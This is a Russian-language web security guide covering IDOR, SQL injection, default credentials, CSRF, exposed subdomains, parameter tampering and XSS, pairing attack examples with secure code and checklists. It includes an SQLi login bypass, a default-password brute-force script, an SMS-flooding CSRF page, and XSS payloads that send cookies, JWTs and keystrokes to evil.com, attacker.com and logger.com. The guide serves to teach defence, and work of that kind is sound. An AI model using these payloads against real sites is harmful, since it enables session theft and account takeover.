Статья 10 Критических уязвимостей веб-инфраструктуры: от IDOR до SQL Injection — полное руководство 2025

[Sergei webware]

По данным OWASP 2024, более 67% веб-приложений содержат критические уязвимости, способные привести к утечке данных или полной компрометации системы. Ежегодные потери компаний от эксплуатации таких уязвимостей превышают $6 триллионов глобально. В этом руководстве мы разберем самые опасные уязвимости веб-приложений, которые встречаются в 2025 году, покажем реальные примеры эксплуатации и дадим конкретные рекомендации по защите.

Оглавление​

1. IDOR — прямые ссылки на объекты
2. SQL Injection — инъекции в базы данных
3. Дефолтные учетные данные
4. CSRF — подделка межсайтовых запросов
5. Открытые тестовые поддомены
6. Небезопасная передача параметров
7. XSS — межсайтовый скриптинг
8. Таблица критичности уязвимостей
9. Чек-лист проверки безопасности
10. Инструменты для пентеста
11. FAQ по безопасности

1. IDOR (Insecure Direct Object Reference) — критическая угроза персональным данным​

Что такое IDOR уязвимость?​

IDOR — это уязвимость, позволяющая получить несанкционированный доступ к объектам системы через прямые ссылки. В 2024 году IDOR занимает 4-е место в рейтинге OWASP Top 10, затрагивая 35% всех веб-приложений.

Реальный пример эксплуатации​

GET /api/users/documents/123456.pdf HTTP/1.1
Host: example.com
Authorization: Bearer [user_token]

Простым изменением ID документа на 123457, 123458 и т.д., атакующий получает доступ к документам всех пользователей системы.

Практический пример уязвимого кода (PHP):​

// ❌ Уязвимый код
$documentId = $_GET['id'];
$document = $db->query("SELECT * FROM documents WHERE id = $documentId");
echo json_encode($document);
// ✅ Безопасный код
$documentId = $_GET['id'];
$userId = $_SESSION['user_id'];
$document = $db->prepare("SELECT * FROM documents WHERE id = ? AND user_id = ?");
$document->execute([$documentId, $userId]);
echo json_encode($document->fetch());

Методы защиты от IDOR:​

1. Проверка прав доступа на уровне бизнес-логики
2. Использование UUID вместо последовательных ID: 3fk5vsl329dthpo5yrd36iute4s
3. Непрямые ссылки через хеш-таблицы
4. Логирование всех попыток доступа к чувствительным данным
5. Rate limiting для предотвращения массового перебора

Практика поиска IDOR: в гайде по Bug Bounty 2025 детально разбирается методология поиска IDOR в API и составление профессиональных отчетов с расчетом бизнес-рисков — must-read для начинающих баг-хантеров.

Инструменты для поиска IDOR:​

• Burp Suite с расширением Autorize
• OWASP ZAP с активным сканированием
• Param Miner для обнаружения скрытых параметров

2. SQL Injection — топовая угроза баз данных​

Статистика и критичность​

SQL-инъекции остаются в ТОП-3 самых опасных уязвимостей по версии OWASP. В 2024 году через SQL-инъекции было скомпрометировано более 3 миллионов записей персональных данных только в РФ.

Типы SQL инъекций:​

Тип	Описание	Критичность
Classic SQLi	Прямое внедрение SQL-кода	Критическая
Blind SQLi	Без прямого вывода данных	Высокая
Time-based Blind	Использование временных задержек	Средняя
Union-based	Объединение запросов	Критическая
Error-based	Через сообщения об ошибках	Высокая

Пример эксплуатации:​

-- Уязвимый запрос
SELECT * FROM users WHERE login = '$_POST[login]' AND password = '$_POST[password]'
-- Эксплуатация
login: admin' OR '1'='1'--
password: любой
-- Результирующий запрос
SELECT * FROM users WHERE login = 'admin' OR '1'='1'--' AND password = 'любой'

Защита от SQL инъекций:​

# ❌ Уязвимый код Python
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)
# ✅ Безопасный код с параметризованными запросами
query = "SELECT * FROM users WHERE id = %s"
cursor.execute(query, (user_id,))

Рекомендации по защите:​

1. Параметризованные запросы (Prepared Statements)
2. Хранимые процедуры с валидацией входных данных
3. Экранирование спецсимволов как дополнительная мера
4. Принцип наименьших привилегий для БД
5. WAF (Web Application Firewall) с правилами для SQL

Безопасный PHP. Защита от SQL-Injection - практические примеры защиты

3. Дефолтные учетные данные — простейшая точка входа​

Реальный кейс: Портал госуслуг​

В ходе пентеста портала государственных услуг была обнаружена админ-панель со стандартными учетными данными admin:admin. Это давало доступ к:

• Загрузке произвольных файлов
• HTTP-методу DELETE
• Множественным IDOR уязвимостям
• Возможности изменения паролей других пользователей

Топ-10 опасных дефолтных учетных записей:​

Сервис	Логин	Пароль	Риск
Tomcat	tomcat	tomcat	RCE
WebLogic	weblogic	weblogic1	RCE
Jenkins	admin	admin	CI/CD компрометация
phpMyAdmin	root	(пустой)	Доступ к БД
MongoDB	admin	admin	NoSQL инъекции

Автоматизация поиска дефолтных паролей:​

import requests
from concurrent.futures import ThreadPoolExecutor
default_creds = [
    ('admin', 'admin'),
    ('administrator', 'password'),
    ('root', 'root'),
    ('test', 'test')
]
def check_login(url, username, password):
    try:
        response = requests.post(f"{url}/login",
            data={'username': username, 'password': password},
            timeout=5)
        if response.status_code == 200 and 'dashboard' in response.text:
            print(f"[+] Valid: {username}:{password}")
            return True
    except:
        pass
    return False
# Многопоточная проверка
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(check_login, target_url, u, p)
               for u, p in default_creds]

4. CSRF — подделка межсайтовых запросов​

Критичность в современных приложениях​

CSRF атаки особенно опасны в системах с SMS-авторизацией и могут привести к:

• SMS-флуду (финансовые потери)
• Account Takeover (захват аккаунтов)
• Несанкционированные транзакции
• Изменение критических настроек

Пример эксплуатации CSRF в регистрации:​

<!-- Вредоносная страница атакующего -->
<html>
<body>
<form id="csrf" action="https://victim.com/register" method="POST">
    <input type="hidden" name="phone" value="+79991234567">
    <input type="hidden" name="send_sms" value="true">
</form>
<script>
    // Автоматическая отправка формы каждые 5 секунд
    setInterval(() => {
        document.getElementById('csrf').submit();
    }, 5000);
</script>
</body>
</html>

Комплексная защита от CSRF:​

// Генерация CSRF-токена (Node.js + Express)
const crypto = require('crypto');
app.use((req, res, next) => {
    if (!req.session.csrfToken) {
        req.session.csrfToken = crypto.randomBytes(32).toString('hex');
    }
    res.locals.csrfToken = req.session.csrfToken;
    next();
});
// Валидация токена
app.post('/critical-action', (req, res) => {
    if (req.body.csrf_token !== req.session.csrfToken) {
        return res.status(403).json({error: 'Invalid CSRF token'});
    }
    // Выполнение действия
});

Дополнительные меры защиты:​

1. Double Submit Cookie паттерн
2. SameSite Cookie атрибут
3. Проверка Referer/Origin заголовков
4. CAPTCHA для критических операций
5. Тайм-ауты между запросами (rate limiting)

5. Открытые тестовые поддомены — скрытая угроза​

Статистика обнаружений​

По данным исследования 2024 года, 73% компаний имеют незащищенные тестовые поддомены:

• test.example.com
• dev.example.com
• staging.example.com
• api-test.example.com

Автоматизированный поиск поддоменов:​

# Использование Sublist3r
python sublist3r.py -d example.com -o subdomains.txt
# Массовое сканирование с Amass
amass enum -passive -d example.com -o amass_results.txt
# Проверка DNS-записей
for subdomain in $(cat subdomains.txt); do
    dig +short $subdomain
done

Типичные находки на тестовых поддоменах:​

Тип файла	Риск	Частота обнаружения
.env файлы	Критический	45%
SQL дампы	Критический	23%
Конфиг файлы	Высокий	67%
Логи с паролями	Критический	31%
Git репозитории	Высокий	28%

Защита поддоменов:​

# Nginx конфигурация для защиты тестового поддомена
server {
    listen 443 ssl;
    server_name test.example.com;
    # IP-based restriction
    allow 192.168.1.0/24;  # Офисная сеть
    deny all;
    # Basic authentication
    auth_basic "Restricted Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
    # Отключение индексации
    add_header X-Robots-Tag "noindex, nofollow, noarchive";
}

6. Небезопасная передача параметров​

Критический пример: изменение баланса​

В одном из сервисов рассылки сообщений был обнаружен следующий POST-запрос:

POST /api/user/update HTTP/1.1
Content-Type: application/json
{
    "username": "user123",
    "email": "user@example.com",
    "balance": 100.00,  // ← Критическая уязвимость!
    "role": "user"      // ← Повышение привилегий!
}

Эксплуатация для Stored XSS:​

// Изменение имени пользователя на XSS payload
{
    "username": "<script>fetch('//evil.com/steal?c='+document.cookie)</script>",
    "balance": 999999
}

Безопасная реализация:​

# Flask (Python) пример
from flask import request, jsonify
from functools import wraps
def validate_user_update(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        allowed_fields = ['username', 'email']  # Только разрешенные поля
        # Фильтрация входных данных
        filtered_data = {k: v for k, v in request.json.items()
                        if k in allowed_fields}
        # XSS защита
        for field in filtered_data:
            filtered_data[field] = escape_html(filtered_data[field])
        request.filtered_data = filtered_data
        return f(*args, **kwargs)
    return decorated_function
@app.route('/api/user/update', methods=['POST'])
@validate_user_update
@require_auth
def update_user():
    # Используем только отфильтрованные данные
    user.update(request.filtered_data)
    return jsonify({'status': 'success'})

7. XSS (Cross-Site Scripting) — универсальная угроза​

Типы XSS атак в 2025:​

Тип	Описание	Процент от всех XSS
Reflected XSS	Отраженный в ответе сервера	35%
Stored XSS	Сохраненный в БД	45%
DOM-based XSS	В клиентском JavaScript	20%

Современные XSS payloads:​

// Обход фильтров 2025
<svg/onload=eval(atob('ZmV0Y2goJy8vZXZpbC5jb20/Yz0nK2RvY3VtZW50LmNvb2tpZSk='))>
// Кража JWT токенов
<img src=x onerror="fetch('//attacker.com/steal',{method:'POST',body:localStorage.getItem('jwt_token')})">
// Keylogger через XSS
<script>
document.onkeypress = function(e) {
    fetch('//logger.com/key?k=' + e.key);
}
</script>

Комплексная защита от XSS:​

// Content Security Policy (CSP)
app.use((req, res, next) => {
    res.setHeader("Content-Security-Policy",
        "default-src 'self'; " +
        "script-src 'self' 'nonce-" + generateNonce() + "'; " +
        "style-src 'self' 'unsafe-inline'; " +
        "img-src 'self' data: https:; " +
        "connect-src 'self'");
    next();
});
// Санитизация на клиенте (DOMPurify)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});

8. Таблица критичности уязвимостей​

Уязвимость	CVSS Score	Сложность эксплуатации	Потенциальный ущерб	Частота в 2025
SQL Injection	9.8	Низкая	Критический	23%
IDOR	8.6	Низкая	Высокий	35%
XSS	7.5	Средняя	Средний	45%
CSRF	6.8	Средняя	Средний	18%
Default Creds	9.0	Очень низкая	Критический	31%
Open Subdomains	7.2	Низкая	Высокий	73%
Parameter Tampering	6.5	Средняя	Средний	28%

9. Чек-лист проверки безопасности​

Аутентификация и авторизация​

• [ ] Отсутствие дефолтных учетных данных
• [ ] Сложность паролей минимум 12 символов
• [ ] Двухфакторная аутентификация для админов
• [ ] Блокировка после 5 неудачных попыток входа
• [ ] Использование bcrypt/scrypt для хеширования паролей

Защита от инъекций​

• [ ] Параметризованные SQL запросы
• [ ] Валидация всех входных данных
• [ ] Экранирование специальных символов
• [ ] WAF с актуальными правилами
• [ ] Регулярные сканирования на SQLi

Защита от XSS​

• [ ] Content Security Policy настроен
• [ ] Санитизация пользовательского ввода
• [ ] HttpOnly флаг для cookies
• [ ] X-XSS-Protection заголовок

Контроль доступа​

• [ ] Проверка прав на каждый запрос
• [ ] UUID вместо инкрементных ID
• [ ] Логирование всех критических операций
• [ ] Rate limiting настроен
• [ ] CORS правильно сконфигурирован

Инфраструктура​

• [ ] Тестовые поддомены закрыты
• [ ] Отсутствие открытых портов
• [ ] SSL/TLS последней версии
• [ ] Регулярное обновление ПО
• [ ] Резервное копирование

10. Инструменты для пентеста​

Сканеры уязвимостей​

Инструмент	Назначение	Лицензия
OWASP ZAP	Комплексное сканирование	Open Source
Burp Suite	Профессиональный пентест	Commercial/Community
SQLMap	Поиск SQL инъекций	Open Source
Nikto	Сканер веб-серверов	Open Source
Nessus	Сканер инфраструктуры	Commercial

Специализированные утилиты​

# Поиск поддоменов
sublist3r -d example.com -o subs.txt
amass enum -d example.com
dnsenum example.com
# Сканирование портов
nmap -sV -sC -O -p- example.com
masscan -p1-65535 192.168.1.0/24 --rate=10000
# Поиск директорий
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt
ffuf -w wordlist.txt -u https://example.com/FUZZ
# Анализ JavaScript
LinkFinder -i https://example.com -o js_endpoints.txt
JSParser --url https://example.com

Методология тестирования: детальное руководство по фаззингу веб-приложений поможет систематизировать поиск IDOR и других логических уязвимостей через анализ параметров и заголовков.

Менеджеры паролей с открытым кодом​

1. Pass - минималистичный CLI менеджер
2. Bitwarden - кроссплатформенный с синхронизацией
3. KeePassXC - локальное хранилище

11. FAQ — частые вопросы по безопасности​

Что такое IDOR уязвимость и как её найти?​

IDOR (Insecure Direct Object Reference) — это уязвимость контроля доступа, когда приложение использует прямые ссылки на объекты без проверки прав. Найти можно через изменение ID в URL, параметрах запроса или теле POST-запроса. Используйте Burp Suite с расширением Autorize для автоматизации.

Как защититься от SQL injection в PHP?​

Используйте PDO с подготовленными запросами:

$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);

Никогда не конкатенируйте переменные напрямую в SQL-запросы.

Какой сканер уязвимостей лучше для начинающих?​

OWASP ZAP — бесплатный, с графическим интерфейсом и автоматическим режимом. Начните с него, затем переходите на Burp Suite Community Edition.

Что делать если нашел уязвимость на чужом сайте?​

1. Не эксплуатируйте находку
2. Проверьте наличие Bug Bounty программы
3. Свяжитесь с владельцем через security@domain.com
4. Дайте время на исправление (обычно 90 дней)
5. Только потом публикуйте (responsible disclosure)

Как часто нужно проводить пентест?​

Минимум 2 раза в год для критической инфраструктуры. После каждого major релиза. При изменении архитектуры. Обязательно перед запуском в продакшн.

Можно ли полностью защититься от всех уязвимостей?​

Нет, 100% защиты не существует. Цель — минимизировать риски через defense in depth (многоуровневую защиту), регулярные аудиты и обучение команды.

Какие уязвимости самые опасные в 2025?​

По OWASP Top 10 (2024):

1. Broken Access Control (включая IDOR)
2. Cryptographic Failures
3. Injection (SQL, NoSQL, LDAP)

Нужен ли WAF если код безопасный?​

Да, WAF — это дополнительный уровень защиты. Он поможет при zero-day уязвимостях и ошибках разработчиков.

Как проверить сайт на XSS?​

1. Вручную: вставьте <script>alert(1)</script> во все поля ввода
2. Автоматически: используйте XSStrike или dalfox
3. Проверьте reflected, stored и DOM-based векторы

Что важнее: пентест или код-ревью?​

Оба критичны. Код-ревью находит логические ошибки, пентест — реальные векторы атак. Идеально проводить оба.

Заключение​

Безопасность веб-приложений — это непрерывный процесс, требующий комплексного подхода. Регулярные пентесты, обновление компонентов, обучение команды и следование best practices помогут минимизировать риски.
Следующие шаги:

1. Проведите аудит вашей инфраструктуры по чек-листу выше
2. Настройте автоматическое сканирование уязвимостей
3. Внедрите процесс Security Code Review
4. Запустите Bug Bounty программу

Нужна профессиональная проверка безопасности? Обратитесь к сертифицированным специалистам для проведения комплексного пентеста вашей инфраструктуры.